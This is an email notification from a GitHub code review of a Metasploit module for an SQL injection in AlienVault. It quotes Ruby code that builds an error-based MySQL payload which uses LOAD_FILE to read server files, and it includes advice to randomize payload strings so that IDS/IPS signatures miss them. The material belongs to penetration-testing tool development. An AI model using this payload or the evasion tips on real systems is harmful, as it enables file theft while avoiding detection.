Randomized – thanks for the suggestion.

 

Chris Hebert

 

From: Christian Mehlmauer [mailto:notifications@github.com] 
Sent: Saturday, May 10, 2014 6:53 PM
To: rapid7/metasploit-framework
Cc: Chris Hebert
Subject: Re: [metasploit-framework] Add module - alienvault_newpolicyform_sqli (#3345)

 

In modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:

> +      str = [file].pack("H*")
> +      full << str
> +      vprint_status(str)
> +
> +      i = i+1
> +    end
> +
> +    path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
> +    print_good("File stored at path: " + path)
> +  end
> +
> +  def sqli(left_marker, right_marker, i, cookie, filename)
> +    pay =  "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
> +    pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
> +    pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
> +    pay << " GROUP BY x)a) AND ('xnDa'='xnDa"

Jeah it's all about stealth and tricking some IDS/IPS that work with fixed patterns. The xnDa String looks like it's also generated by a tool. SQLMap for instance also uses random strings when doing equations (I think this payload might be generated by sqlmap).
The more we can randomize in the payload, the harder it is to detect.

—
Reply to this email directly or view it on GitHub <https://github.com/rapid7/metasploit-framework/pull/3345/files#r12506680> .  <https://github.com/notifications/beacon/2874448__eyJzY29wZSI6Ik5ld3NpZXM6QmVhY29uIiwiZXhwaXJlcyI6MTcxNTM4MTU3NSwiZGF0YSI6eyJpZCI6MzE4NzgzNDl9fQ==--18f3f58287aa74347f8874ccb8bfa98ecbb57591.gif>